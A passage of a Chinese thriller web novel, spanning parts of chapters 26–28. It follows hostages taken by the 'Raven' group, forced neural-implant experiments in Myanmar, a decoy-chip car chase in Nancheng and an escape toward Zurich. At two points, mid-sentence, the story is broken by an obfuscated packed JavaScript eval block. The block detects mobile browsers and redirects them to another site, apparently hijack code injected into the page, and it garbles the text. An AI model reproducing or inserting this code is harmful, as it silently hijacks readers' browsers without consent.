“威胁我?”渡鸦七号蹲下身,盯着她的眼睛,“陆野,我知道你的故事。前F1工程师,因为不满车队的黑幕而辞职,在云南开了个摩托车改装店,过着与世无争的生活。直到江砚辞找到你,你才卷进这件事。为了一个认识不到一个月的人,值得搭上命吗?” 这个问题,今天已经第二次被问到了。陆野想起江砚辞在电话里的声音,想起阿影在安全屋留下的信,想起那些实验室里非人道的实验记录。 “不是为了某个人。”她说,“是为了不让那些事继续发生。” 渡鸦七号沉默了几秒,突然笑了:“有意思。你和叶真真真像。” 陆野怔住:“你认识叶真真?” “二十年前,在苏黎世。”渡鸦七号站起身,语气变得悠远,“那时我还年轻,刚加入‘渡鸦’。叶真真是我们的目标——她手里有施密特博士的完整研究笔记。我去接近她,假装是个对技术着迷的学生。” 他顿了顿:“她是个天才,也是个理想主义者。相信技术能救人,能改变世界。我差点被她感染,忘了自己的任务。但组织下了死命令,必须拿到笔记。最后……她选择了自毁,也不让笔记落入我们手里。” 陆野的心脏狂跳。她没想到,眼前这个冷血的组织头目,居然曾经接触过叶真真。 “所以你明白吗?”渡鸦七号转回身,“有些东西,注定要属于强者。弱者握在手里,只会引来灾祸。叶真真如此,你也是如此。” “但你们得到了吗?”陆野反问,“叶真真死了,笔记也没拿到。施密特博士隐居二十年,你们还是没找到‘种子’。现在,江砚辞拿到了完整的算法,你们又在用绑架威胁这种下作手段。这就是所谓的‘强者’?” 渡鸦七号的脸色阴沉下来。他挥了挥手,手下又把另外四个人质往前推了推。 “放了他们。”陆野重复,“我跟你们走。否则,我现在就毁了证据的定位器——没有我,你们永远找不到备份在哪里。” 她从口袋里掏出一个小型装置,拇指按在红色的按钮上:“这是压力感应,我一松手,所有备份位置的加密信息就会自动销毁。要试试吗?” 渡鸦七号盯着她看了很久,最终点头:“好。你赢了。” 他示意手下放人。四个村民踉跄着跑向铁门,被联合国人员接应进去。 陆野看着他们都安全了,才松开按钮。渡鸦七号的手下上前,粗暴地将她从轮椅上拽起来,铐上手铐,蒙上眼睛。 在失去视线前,她最后看了一眼办事处里的埃琳娜,用口型说:“告诉江砚辞,别管我,做他该做的事。” 她被塞进车里,引擎发动,驶离安全区。 车子颠簸,陆野靠在车厢壁上,感觉着腿上的伤口在疼痛。但她心里反而平静了。 拖延了四小时,为军方支援争取了时间。人质都安全了。接下来,就是她自己的战斗了。 她悄悄活动手腕,感觉到手铐的锁芯结构——是老式的弹子锁,如果有合适的工具,也许能打开。 但首先,她得知道这些人要带她去哪儿,去见谁。 车子开了大约一小时后停下。陆野被拉下车,摘下眼罩。眼前是一个简陋的营地,建在山谷里,周围是茂密的雨林。 最引人注目的是营地中央那个巨大的帐篷,里面传出机器的轰鸣声,还有……人的惨叫声。 陆野被推进帐篷。里面灯火通明,摆满了医疗设备和计算机。几个穿白大褂的人正在忙碌,而帐篷中央的手术台上,绑着一个年轻男人——是吴索温,那个被迫参与实验的研究员。 他的胸口被切开,植入了一个金属装置,装置连接着电线,电线上有细小的电火花闪烁。吴索温已经失去了意识,但身体还在生理性地抽搐。 “欢迎来到‘启明星计划’的临时实验室。”渡鸦七号的声音在身后响起,“如你所见,我们正在测试不完整芯片与人体的融合。吴索温是自愿的——我们答应治好他妹妹的病。” “自愿?”陆野看着吴索温惨白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004293|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的脸,“这分明是折磨!” “科学需要牺牲。”一个穿白大褂的老者走过来,说的是德语,“我是汉斯·穆勒博士,‘乌鸦计划’原研究员卡尔·施密特的学生。很高兴见到你,陆小姐。你带来的那份伦理约束算法,正是我们需要的——没有它,这些实验体的神经系统会在七十二小时内崩溃。” 陆野瞪大眼睛:“你们要用我来完善技术?” “准确说,是用你脑子里的知识。”穆勒博士指了指自己的太阳穴,“叶真真当年教过你一些核心算法,对吧?虽然你后来转行做机械工程,但那些基础还在。我们需要你帮我们补全缺失的部分。” “我不会帮你们的。” “你会帮的。”渡鸦七号走到手术台边,拿起一把手术刀,抵在吴索温的脖子上,“每过一小时,你不配合,我就切掉他一根手指。十根手指切完,还有脚趾,还有耳朵,还有鼻子……直到你同意为止。” 陆野浑身发冷。她看着昏迷的吴索温,看着那些冰冷的仪器,看着帐篷外逐渐暗下来的天色。 她知道,江砚辞那边也在倒计时。而她这里,也开始了残酷的倒计时。 ## **晚上七点·南城凯宾斯基酒店** 慈善晚宴的会场金碧辉煌,水晶吊灯折射出耀眼的光芒。政商名流、明星艺人、媒体记者济济一堂,空气中弥漫着香槟、香水与虚伪寒暄的混合气味。 江砚辞端着酒杯,站在会场边缘的阴影里。他的西装很合身,但肩部的绷带让动作有些僵硬。周屿在他的耳麦里汇报:“陆文渊在二楼主桌,身边有六个保镖。另外,会场里至少有十二个他安排的人,分布在各个出口。” “看到了。”江砚辞的目光扫过全场,记住了那些人的位置。 按照计划,他需要在七点半准时“暴露”——走到会场中央,让陆文渊看到他,然后迅速离开。但就在他准备行动时,一个人影突然出现在他面前。 是秦悦,陆文渊的助理。她今晚穿着酒红色的晚礼服,笑容完美得像面具。 “江先生,没想到会在这里见到你。”秦悦递给他一杯酒,“陆总让我来问候,说如果江先生愿意,可以上楼一叙。关于技术的事,陆总愿意给出最后的诚意。” “最后的诚意?”江砚辞接过酒杯,没有喝。 “阿尔卑斯山‘种子’的另外两部分,陆总已经拿到了。”秦悦压低声音,“施密特博士的神经解码公式,国际刑警那边出了内鬼,昨晚被盗了。而工程适配算法……您母亲当年留在瑞士的那份,陆总三天前就拿到了复制品。” 江砚辞的心脏猛地一沉。但他面上保持平静:“所以呢?” “所以您现在手里的第三部分,已经没有意义了。”秦悦微笑,“没有前两部分,伦理约束算法就是一堆无用的代码。陆总愿意出价一千万,买下您手里的芯片,作为收藏品。从此您和陆家两清,您可以重回赛车界,我们也会为您澄清名誉。” 完美的陷阱。如果江砚辞不知道真芯片已经在苏晚晚手里,如果他没有准备仿制芯片,此刻可能真的会动摇。 但他只是晃了晃酒杯:“告诉陆文渊,如果他真拿到了前两部分,那就自己组合试试看。看看没有伦理约束的技术,会创造出什么样的怪物。” 秦悦的笑容僵了一下。 江砚辞看了眼手表:七点二十八分。他放下酒杯,转身走向会场中央。 音乐还在继续,人们在跳舞、交谈、大笑。没人注意到这个穿着黑西装的男人正走向主桌,走向那个今晚最有权势的人之一。 陆文渊看到了他。两人目光在空中相撞,像两把刀锋碰撞出火花。 江砚辞停下脚步,从怀里掏出那个仿制芯片的盒子,打开,让玻璃封装在灯光下反射出炫目的光。 他看到陆文渊的眼睛瞬间亮了,那种贪婪的光芒,像野兽看到猎物。 就是现在。 江砚辞合上盒子,转身就走。 “拦住他!”陆文渊的声音不大,但足够让他的保镖听到。 六个保镖同时行动,从不同方向包抄过来。会场里的人们开始察觉到异常,音乐停了,议论声四起。 江砚辞按照预定路线,冲向侧门。周屿在耳麦里说:“主电源十秒后切断!九、八、七……” 他冲进厨房,厨师和服务员惊讶地看着他。身后的脚步声越来越近。 “……三、二、一!” 整个会场陷入黑暗,尖叫声响起。江砚辞趁机推开后门,冲进停车场。 周屿的声音:“你的车在B区第三排,黑色奥迪。钥匙在左前轮上面。有三辆车在追你,都是陆文渊的人。” 江砚辞找到车,发动引擎。轮胎在水泥地上摩擦出刺耳的声音,车子像箭一样冲出停车场。 后视镜里,三辆黑色奔驰紧追不舍。 夜晚的城市街道车流如织。江砚辞在车流中穿梭,利用对地形的熟悉,连续几个急转弯甩掉一辆追车。但另外两辆咬得很紧,而且对方显然也是老手,几次差点把他逼停。 周屿在耳麦里指导:“前方路口右转,进小巷!那里窄,他们的大车进不来!” 江砚辞猛打方向盘,车子冲进一条只容一车通过的小巷。后面的奔驰勉强跟进,但车身刮擦墙壁,速度减慢。 “出巷子后左转,上高架!” 车子冲出小巷,甩尾左转,冲上高架桥入口。夜晚的高架桥车流稀疏,江砚辞将油门踩到底,时速飙到一百六。 后视镜里,两辆奔驰依然紧追,而且距离在拉近——他们的车性能更好。 “前方两公里有出口,下高架后立刻右转,进工厂区!”周屿的声音很急,“接应的人已经就位!” 江砚辞看到了出口指示牌。他减速,打转向灯,假装要正常下高速。追车果然上当,也跟着减速。 但就在出口前一百米,江砚辞突然猛打方向盘,车子横着漂移,撞开路边的隔离栏,冲下路基! 下面是一片荒地,车子落地时剧烈颠簸,安全气囊弹出。江砚辞被撞得头晕目眩,但咬牙解开安全带,抓起装着仿制芯片的盒子,推门下车。 两辆奔驰追下路基,但其中一辆底盘卡在沟里,动弹不得。另一辆停下,四个黑衣人下车,举着枪围过来。 “把东西交出来!”领头的人喊。 江砚辞举起盒子:“想要?自己来拿。” 他转身就跑,冲向不远处的废弃工厂建筑。子弹打在脚边的地上,溅起尘土。 冲进工厂车间,里面堆满生锈的机器和废料。江砚辞躲在机床后面,喘着粗气。肩上的伤口又裂开了,血渗透了西装。 四个黑衣人追进来,分散搜索。车间里只有应急灯微弱的光,阴影重重。 江砚辞悄悄移动,绕到其中一人身后,用铁棍狠狠击打对方后颈。那人闷哼倒地。 枪声响起,子弹打在铁板上。江砚辞翻滚躲避,手臂被跳弹擦伤。 还有三个人。 他看了眼手里的盒子,知道是时候了。故意将盒子“不小心”掉在地上,然后朝相反方向跑。 一个黑衣人捡起盒子,对耳机汇报:“东西到手了!” “确认是真品吗?”耳机里传来陆文渊的声音。 黑衣人打开盒子,检查芯片:“外观符合描述,玻璃封装完整,接口……” 话没说完,芯片内部突然发出一声轻微的“咔哒”。紧接着,黑衣人的手机屏幕自动亮起,显示出一行字:“**病毒已植入。感谢使用仿制芯片。**” “是假的!”黑衣人大喊。 但已经晚了。周屿远程启动了病毒程序,黑衣人身上的所有电子设备瞬间黑屏,包括他们用来通讯的对讲机。 车间外传来警笛声——周屿报了警。剩下的黑衣人见势不妙,转身想跑,但被冲进来的警察按倒在地。 江砚辞从藏身处走出来,手臂上的伤在流血,但嘴角有一丝笑意。 诱饵计划成功了。陆文渊以为拿到了真芯片,实际上拿到的是一枚会瘫痪他所有电子设备的病毒炸弹。而此刻,真芯片正在苏晚晚手里,飞往日内瓦。 但当他被警察带出工厂时,看到路边停着一辆黑色劳斯莱斯。车窗降下,陆文渊坐在后座,冷冷地看着他。 没有愤怒,没有失望,反而有一丝……欣赏? “江砚辞,你比你父亲聪明。”陆文渊说,“但也更固执。你以为这样就赢了?游戏,才刚刚开始。” 车子缓缓驶离。江砚辞站在原地,警灯的红蓝光在他脸上闪烁。 他知道陆文渊不会善罢甘休。但至少今晚,他们赢得了一局。 手机震动,是周屿发来的消息:“**苏晚晚安全抵达日内瓦,已与隼会面。陆野在缅甸被俘,但人质全部获救。唐果和林骁正在设法进入日军实验室地下层。**” 江砚辞看着这些消息,心中五味杂陈。 第二天倒计时结束。有人安全,有人被俘,有人还在冒险。 而明天,他们将面临更艰难的抉择。 真正的决战,正在逼近。 27. 第二十七章 第二十七章七日倒计时·第三日 ## **凌晨两点·缅甸雨林深处** 陆野被铐在营地的铁柱上,雨林的夜晚潮湿闷热,蚊虫嗡嗡作响。腿上的伤口又开始渗血,但她更担心的是帐篷里吴索温的情况——刚才那几个小时,她被迫观看了“渡鸦”进行的第二次实验尝试。 穆勒博士试图绕过伦理约束算法,强行激活植入吴索温体内的机械装置。结果导致吴索温的神经系统严重过载,出现了不可逆的损伤。现在吴索温躺在简易病床上,靠呼吸机维持生命,脑电图显示他的意识已经进入了不可逆的深度昏迷。 “他是个勇敢的战士。”穆勒博士从帐篷里走出来,摘下沾满血污的手套,语气平静得像在讨论实验样本,“为了妹妹的治疗费,他愿意献出自己的身体。可惜,没有完整的伦理约束模块,这些实验体都活不过七十二小时。” 陆野抬起被铐住的双手,抹了把脸上的雨水和汗水:“你们明明知道技术不完整,还要继续用人做实验?” “科学需要牺牲。”穆勒博士在她面前蹲下,浑浊的蓝色眼睛里闪烁着某种狂热,“你知道吗?当年在奥斯维辛,我的老师卡尔·施密特也面临过同样的选择。为了‘乌鸦计划’的进展,他……” “住口!”陆野打断他,“别把施密特博士和你们相提并论。他是被迫参与,而你们是主动作恶。” 穆勒博士笑了,露出被烟熏黄的牙齿:“年轻的天真。你根本不知道施密特当年做了什么。他改良了那些从集中营获取的数据,让‘乌鸦计划’的效率提升了三倍。那些实验体的死亡速度,也因此加快了。” 陆野感到一阵恶心。她想起在阿尔卑斯山,施密特博士坐在轮椅上,用颤抖的手交出金属盒子时眼中的愧疚。原来那份愧疚,沉重到足以压垮一个人的一生。 “渡鸦七号”走了过来,示意穆勒博士离开。他蹲在陆野面前,手里把玩着一把军刀。 “刚才收到消息,”他慢悠悠地说,“江砚辞在南城用假芯片做了个局,骗过了陆文渊。现在陆文渊气得像头被耍的狮子,正在全城搜捕。” 陆野心中一紧,但面上保持平静:“所以呢?” “所以我们需要加快进度。”“渡鸦七号”用刀尖挑起她的下巴,“你脑子里的那些算法知识,现在比任何时候都重要。陆文渊拿不到完整的芯片,就只能靠我们这边自己破解。而你——是现在唯一接触过叶真真核心算法的人。” “我不会帮你们的。” “你会帮的。”刀尖轻轻划过她的脸颊,留下一道血痕,“因为你刚才看到了吴索温的下场。如果我们继续用不完整的技术实验,会有更多这样的人死去。而你,可以救他们。” 陆野闭上眼睛。雨林的夜声在她耳边放大:蛙鸣、虫叫、远处的流水声,还有营地里实验体偶尔发出的痛苦呻吟。 她想起在联合国办事处,埃琳娜给她看的那份“乌鸦计划”受害者名单。127个名字,每个背后都是一条被剥夺的生命。 现在,历史正在重演。 “如果我帮你们,”她睁开眼睛,“你们能保证停止人体实验吗?” “渡鸦七号”笑了:“不能保证停止,但可以保证——用上完整算法后,实验体的存活率会大幅提高。从现在的30%提升到……也许70%?这难道不是一种仁慈吗?” 仁慈。用这个词来粉饰罪恶,真是讽刺。 但陆野知道,自己别无选择。每拖延一小时,就可能多一个人成为吴索温那样的牺牲品。 “我需要纸笔,还有一台能运行MATLAB的电脑。”她说,“另外,释放吴索温的妹妹,送她去仰光最好的医院。这是我合作的前提。” “渡鸦七号”盯着她看了几秒,点头:“可以。但你最好别耍花样。这里方圆五十公里都是我们的人,你跑不掉。” 手铐被打开。陆野活动了一下麻木的手腕,被带到营地中央的指挥帐篷里。桌上已经摆好了电脑和纸笔,甚至还有几本关于神经信号处理的专业书籍——显然,他们早有准备。 陆野坐下,打开电脑。屏幕上显示着“启明星计划”的现有算法架构,确实缺少关键的伦理约束模块。她认出了其中几个子程序的编码风格——确实是叶真真当年教过她的。 “给我十二小时。”她说,“我需要重新推导约束条件。” “你只有六小时。”“渡鸦七号”看了眼手表,“天亮之前,我要看到可运行的代码。” 帐篷帘子落下,留下两个持枪守卫。陆野深吸一口气,开始敲击键盘。 她当然不会真的帮他们完善技术。但可以利用这个机会,在代码里埋下后门——就像周屿对仿制芯片做的那样。只要能接触到他们的核心系统,就有可能从内部摧毁一切。 键盘敲击声在雨夜中规律地响起。帐篷外,雨又开始下了。 ## **清晨六点·南城安全屋** 江砚辞在沙发上醒来,右肩的伤口经过一夜休息后疼痛减轻了些,但手臂上被跳弹擦伤的地方开始发炎。周屿已经起床,正对着电脑屏幕皱眉。 “陆野那边有消息吗?”江砚辞问。 “联合国方面确认她主动跟‘渡鸦七号’走了,以换取五名人质的释放。”周屿调出最新的情报,“缅甸军方昨晚发动突袭,捣毁了雨林里的两个‘渡鸦’据点,但没有找到陆野。她可能被转移到更深的山里了。” 江砚辞握紧拳头。陆野的处境比他想象的更危险。 “唐果和林骁呢?” “还在老防空洞那边想办法。”周屿调出监控画面——废弃砖窑外,唐果和林骁正和几个穿着工装的男人交谈,地上摊着老旧的矿井图纸,“他们找到两个当年的老矿工,说有条巷道可能通到日军实验室下面。但那条巷道三十年前就塌了,需要先清理。” “需要多久?” “老矿工说,如果人手够,今天天黑前能挖通。”周屿顿了顿,“但问题是,陆文渊的人也在附近活动。唐果刚才报告,看到两辆可疑车辆在防空洞区域转悠。” 江砚辞看了眼墙上的时钟。第三天了,时间越来越紧。 “帮我联系周律师。”他说,“我需要他安排一件事。” 半小时后,周律师匆匆赶到安全屋,听完江砚辞的计划后,眉头紧锁。 “你想用自己做诱饵,引开陆文渊的注意力,给唐果他们争取时间?”他摇头,“太冒险了。陆文渊现在恨不得生吞了你,你一旦露面,他绝不会放过你。” “所以才要选一个他不敢乱来的场合。”江砚辞调出南城今天的活动日程,“上午十点,市科技馆有个‘人工智能与未来交通’论坛,陆文渊作为陆远集团代表会出席演讲。我也去。” “你怎么进去?你的名字肯定在黑名单上。” “用这个。”江砚辞拿出周屿伪造的记者证,“《科技前沿》杂志特约记者,采访证已经申请下来了。论坛是公开活动,媒体可以自由进出。” 周律师还是犹豫:“就算你能进去,陆文渊的保镖也不会让你靠近。” “我不需要靠近他。”江砚辞说,“我只需要让他看到我,让他知道我在盯着他。以他的性格,一定会派人跟踪我,这样防空洞那边的压力就会减轻。” 计划很冒险,但周律师不得不承认,这是目前能想到的最好办法。 “我和你一起去。”周屿突然说,“我伪装成摄影助理,可以帮你盯梢,万一有事也能照应。” 江砚辞看着这个比自己小五岁、腿脚不便却眼神坚定的青年,最终点了点头。 “九点出发。”他说,“在这之前,还有件事要做。” 他拿出手机,拨通了苏晚晚在日内瓦的号码。响了七八声后,接通,传来苏晚晚略显疲惫但清晰的声音: “江砚辞?你那边还好吗?” “还好。”江砚辞走到窗边,看着晨光中的城市,“你那边顺利吗?芯片交给隼了吗?” “交了。”苏晚晚声音低了些,“但隼说,国际刑警内部正在审查,可能要三到五天才能决定是否正式立案。而且……他提到一件事。” “什么事?” “他说,阿影的身份可能比我们想的更复杂。”苏晚晚顿了顿,“隼查了国际刑警的绝密档案,发现‘影子’这个代号二十年来至少被三个人使用过。第一个是女性,1998年在苏黎世实验室火灾中牺牲;第二个是男性,2005年在叙利亚失踪;现在的第三个……没人知道他的真实身份。” 江砚辞想起父亲笔记里那句话:“算法第三部分,在‘渡鸦’的影子里。去找阿影,他知道怎么拿。” 如果阿影是一个传承的代号,那么现在的这个阿影,到底站在哪一边?是真心帮助他们,还是另有所图? “晚晚,”江砚辞低声说,“你在那边要小心。如果感觉任何不对劲,立刻联系中国大使馆。” “我知道。”苏晚晚声音温柔了些,“你也是。陆文渊不会善罢甘休的。” 短暂的沉默。电话两头的人都能听到对方的呼吸声。 “江砚辞,”苏晚晚突然说,“等这件事结束……我想去阿尔卑斯山看看。不是去找什么,就是看看。看看施密特博士守了一辈子的雪山,看看叶真真阿姨牺牲的地方。” “好。”江砚辞说,“我陪你去。” “那说定了。”苏晚晚笑了,笑声通过电波传来,带着些许杂音,却让江砚辞紧绷的神经放松了些,“你该去准备了吧?论坛快开始了。” “嗯。” “江砚辞。” “嗯?” “活着回来。”苏晚晚轻声说,“我还有很多舞想跳给你看。” 电话挂断。江砚辞握着手机,站在晨光里,良久。 周屿已经准备好了装备:微型摄像机、录音笔、防弹背心(虽然江砚辞拒绝了,但周屿坚持要他穿在西装里面),还有两个紧急求救装置。 “走吧。”江砚辞穿上西装外套,右肩的绷带让衣服有些紧绷,但还能忍受。 出门前,他最后看了一眼茶几上母亲的照片。 妈,爸,保佑我。 ## **上午九点半·南城科技馆** 论坛的规模比想象中大。科技馆门口停满了车,媒体长枪短炮,参会者西装革履。江砚辞和周屿混在记者队伍里,顺利通过安检。 主会场能容纳五百人,此时已经座无虚席。大屏幕上滚动着论坛主题:“人工智能伦理与交通安全的未来”。陆文渊的演讲被安排在十点半,压轴出场。 江砚辞找了个靠后的位置坐下,周屿假装调试摄像机,实际上在扫描全场。很快,他低声说:“左前方第三排,两个穿灰色西装的一直在看我们。右后方出口处还有一个。” “陆文渊的人。”江砚辞不动声色,“演讲开始后,他们会更注意台上,我们找机会移动。” 十点整,论坛开始。前面的演讲者大多在讲些不痛不痒的行业展望,直到陆文渊上台。 他今天穿着藏蓝色双排扣西装,头发一丝不苟,走上讲台时掌声热烈。大屏幕上打出他的头衔:陆远集团董事长、青年企业家代表、人工智能伦理委员会委员。 虚伪的光环。 陆文渊的演讲主题是“技术向善:自动驾驶时代的责任与担当”。他侃侃而谈,引用数据,展示案例,语气诚恳得让人几乎要相信他真的关心交通安全。 但在讲到“历史教训”部分时,他突然话锋一转: “当然,技术的进步也伴随着阵痛。我们行业曾经有过惨痛的教训——三年前,一位年轻车手因为过度依赖不成熟的辅助系统,导致严重事故,职业生涯尽毁。” 会场里响起低低的议论声。有人看向江砚辞的方向——虽然他用假身份进来,但还是有眼尖的记者认出了他。 陆文渊继续,语气变得沉痛:“那件事提醒我们,没有伦理约束的技术是危险的。而更令人痛心的是,那位车手至今没有公开道歉,反而试图通过污名化技术来为自己开脱。” 赤裸裸的污蔑。 江砚辞握紧了拳头。周屿在耳机里低声说:“冷静,他在激你。” 陆文渊的目光扫过全场,最后有意无意地落在江砚辞身上,嘴角勾起一丝几不可察的冷笑。 “但是,”他提高声音,“我们不能因为个别人的错误就否定整个技术方向。陆远集团已经成立了专项基金,致力于研发更安全、更可靠的自动驾驶系统。我们的目标,是让技术真正服务于人,而不是伤害人。” 掌声雷动。陆文渊鞠躬下台,在保镖的簇拥下走向贵宾休息室。 江砚辞起身,对周屿说:“去卫生间,按计划。” 两人一前一后离开会场。果然,那两个穿灰色西装的人跟了上来。 科技馆的卫生间在走廊尽头,此时没什么人。江砚辞走进隔间,周屿假装在洗手台前洗手。跟踪的两人也进来了,一个守在门口,一个走向隔间。 就是现在。 江砚辞猛地推开隔间门,一记肘击打在最近那人腹部,同时夺过他腰间的对讲机。另一人反应过来,拔枪,但周屿已经按下手中的电磁干扰器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004294|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——小型装置发出高频脉冲,瞬间瘫痪了附近五米内所有电子设备。 枪哑火了。江砚辞趁对方愣神的瞬间,一个扫腿放倒他,用从修车铺带来的扎带反绑住两人的手。 整个过程不到二十秒。 “他们十分钟后会恢复。”江砚辞检查了两人的证件,都是陆远集团安保部的,“走。” 两人快速离开卫生间,从消防通道下到地下停车场。周屿提前准备好的车就停在出口处。 上车,发动,驶离科技馆。 后视镜里,没有车辆跟来。 “计划成功了一半。”周屿操作着电脑,“陆文渊现在肯定知道我们跑了,会派人全力追捕。防空洞那边的监视应该会放松。” 江砚辞看了眼手机,唐果刚好发来消息: **“巷道挖通了!老矿工说下面确实有个大空间,但入口被混凝土封死了,需要定向爆破。林骁去找人了,预计下午能搞定。”** **江砚辞**:“小心,陆文渊的人可能在附近。” **唐果**:“知道。我们已经换了三个藏身点。对了,周屿给的信号屏蔽器很好用,附近的可疑通讯都被干扰了。” 江砚辞收起手机,对周屿说:“去城北轮胎店,老K那儿。我们需要换辆车,这辆太显眼了。” 车子拐上环城高速。阳光很好,但江砚辞心里沉甸甸的。陆野在缅甸生死未卜,苏晚晚在日内瓦等待结果,唐果和林骁在危险的地下挖掘,而他自己,正在逃亡的路上。 所有人都被卷进了这场漩涡。 而漩涡的中心,是二十年前开始的那个秘密,是沾血的数据,是未竟的救赎。 手机突然响起,是个未知号码。江砚辞犹豫了一下,接起。 “江砚辞。”电话那头的声音经过变声处理,但语气他很熟悉——是阿影,“听我说,不要说话。陆文渊已经启动了‘清扫程序’,他在南城安排了至少三十个人,要活捉你。你现在的位置不安全。” “你在哪?”江砚辞低声问。 “我在你后面五百米,银色SUV。”阿影说,“接下来按我说的做:下一个出口下高速,开进物流园区,那里每天有上百辆货车进出,容易隐藏。我会处理追兵。” “陆野呢?她在哪?” 电话那头沉默了几秒。 “她还活着,但在‘渡鸦’手里。我正在想办法。”阿影声音低沉,“江砚辞,记住你父亲的话:技术应该服务于人。无论发生什么,不要让他们拿到完整的算法。” 电话挂断。 江砚辞从后视镜看去,果然看到一辆银色SUV跟在后面,保持着不远不近的距离。 他看向周屿:“下一个出口下高速,进物流园区。” “你信他?”周屿皱眉。 “现在只能信。”江砚辞说,“而且,我们需要他的帮助。” 车子驶下高速,开进庞大的物流园区。如阿影所说,这里车流密集,大型货车来来往往,很容易隐藏。 银色SUV跟了进来,在一个仓库拐角处停下。车门打开,阿影走了下来——和江砚辞在阿尔卑斯山见到时一样,穿着深色夹克,脸上有未愈的伤疤,但眼神依然锐利如鹰。 “车留下,换这辆。”阿影拉开一辆厢式货车的后门,“里面有装备和□□。你们去码头,坐下午两点的货轮去上海,再从上海转机去瑞士。” “去瑞士?”江砚辞愣住。 “苏黎世大学图书馆的地下珍本库,有你们要找的最后答案。”阿影递过一个信封,“这是进入权限和地图。但你们要快——陆文渊的人也收到了消息,最迟明晚就会行动。” 江砚辞接过信封,没有立刻打开:“你为什么要帮我们?你到底是谁?” 阿影看着他,良久,从怀里掏出一张老照片——和江砚辞在母亲阁楼找到的那张一样,三个年轻女孩在苏黎世湖边。但阿影指着照片上那个戴眼镜的姑娘: “叶真真是我姐姐。”他说,“1998年实验室火灾,她为了不让‘乌鸦计划’的数据落入‘渡鸦’之手,选择了自毁。临终前,她托人带话给我:如果有一天江家的孩子需要帮助,不惜一切代价帮他。” 江砚辞怔住了。 “所以这些年,你一直在暗中……” “监视,保护,必要时介入。”阿影收起照片,“但我不能暴露身份,因为‘渡鸦’也在找我。他们知道叶真真有个弟弟,知道我会复仇。” 他看了眼手表:“没时间了。你们必须马上走。记住,到了瑞士,找一个叫‘林静文’的教授,她是你们母亲当年的好友,现在在苏黎世大学任教。她知道全部真相。” 周屿已经将必要装备转移到货车上。江砚辞最后看了阿影一眼: “你不跟我们一起走?” “我还要留下来处理一些事。”阿影笑了笑,笑容里有些疲惫,“陆野还在他们手里,缅甸那边需要支援。而且……我和‘渡鸦’的账,还没算完。” 他拍了拍江砚辞的肩膀:“保护好算法,保护好你身边的那些人。别让你父亲和姐姐的牺牲白费。” 说完,他转身上了银色SUV,疾驰而去。 江砚辞和周屿对视一眼,迅速登上货车。周屿发动引擎,车子驶出物流园区,朝码头方向开去。 路上,江砚辞打开阿影给的信封。里面除了权限卡和地图,还有一张泛黄的信纸,上面是叶真真的字迹: **“致未来的你: 如果你看到这封信,说明你已经走到了最后一步。 算法第三部分不在任何实体中,而在‘渡鸦’组织的核心数据库里——他们当年窃取了我未完成的代码,想要补全它。 要摧毁它,必须进入数据库底层,输入自毁指令:**乌鸦的阴影里仍有光**。 这是我留给世界最后的光。 愿它照亮你的路。 真真绝笔”** 江砚辞握紧信纸。 原来第三部分从未丢失,只是落入了敌人手中。而叶真真在二十年前,就留下了摧毁它的钥匙。 现在,这把钥匙传到了他手里。 货车驶进码头区,巨大的货轮正在装货。周屿联系好的接头人已经在等他们。 下车前,江砚辞最后看了一眼南城的方向。 父亲,母亲,叶真真阿姨,还有所有在这场漫长斗争中牺牲的人。 你们的意志,我会继承下去。 货轮的汽笛声划破长空。 第三天的太阳升到最高点,而旅程,还在继续。 28. 第二十八章 第二十八章七日倒计时·第四日 ## **清晨六点·上海外高桥码头** 货轮在晨雾中缓缓靠岸。江砚辞和周屿混在下船的装卸工中,低头穿过忙碌的码头。咸湿的海风里混杂着机油和集装箱铁锈的气味,远处起重机的轰鸣声震耳欲聋。 阿影安排的接头人准时出现——一个五十多岁、满脸风霜的船老大,穿着沾满油污的工作服,嘴里叼着烟,看起来和码头上其他工人没什么区别。 “老陈?”江砚辞按照约定暗语问道。 船老大眯起眼睛打量他,吐出一口烟圈:“江家的?” “是。” “跟我来。”老陈转身走向码头深处一排破旧的板房,“阿影交代了,送你们去浦东机场。但今天所有飞瑞士的航班都被重点监控了,陆文渊的手伸得很长。” 板房里堆满了渔网和修理工具,空气中弥漫着鱼腥味。老陈掀开角落里一块防水布,露出两套叠得整整齐齐的机场地勤人员制服。 “换上。七点半有一班飞法兰克福的货机,机长是我老战友,会在苏黎世做技术经停。你们以机械师身份上飞机,到了那边有人接应。” 周屿拿起制服检查:“这能过安检?” “不用过普通安检。”老陈又点了支烟,“货机走专用通道,我打点好了。但时间很紧,你们只有二十分钟准备。” 江砚辞和周屿快速换上制服——深蓝色连体工装,胸前绣着货运航空公司的标志。老陈递过来两个工具箱,里面除了常用工具,底部暗格里藏着假护照和少量现金。 “记住,”老陈压低声音,“上了飞机就待在货舱,别出来。飞行时间十二小时,期间会有一次空中加油,别开舱门。到了苏黎世,接应人会举着‘维修保养’的牌子。” “阿影在瑞士吗?”江砚辞问。 “不知道。”老陈摇头,“影子从不说自己的行踪。但他交代了一句话让我转告你——”他顿了顿,眼神变得凝重,“‘图书馆的地下不只有书,还有眼睛。小心看门人。’” 七点十分,一辆喷着货运公司标志的面包车开到板房门口。老陈拍了拍江砚辞的肩膀:“一路小心。你父亲当年帮过我儿子,这份情我一直记着。” 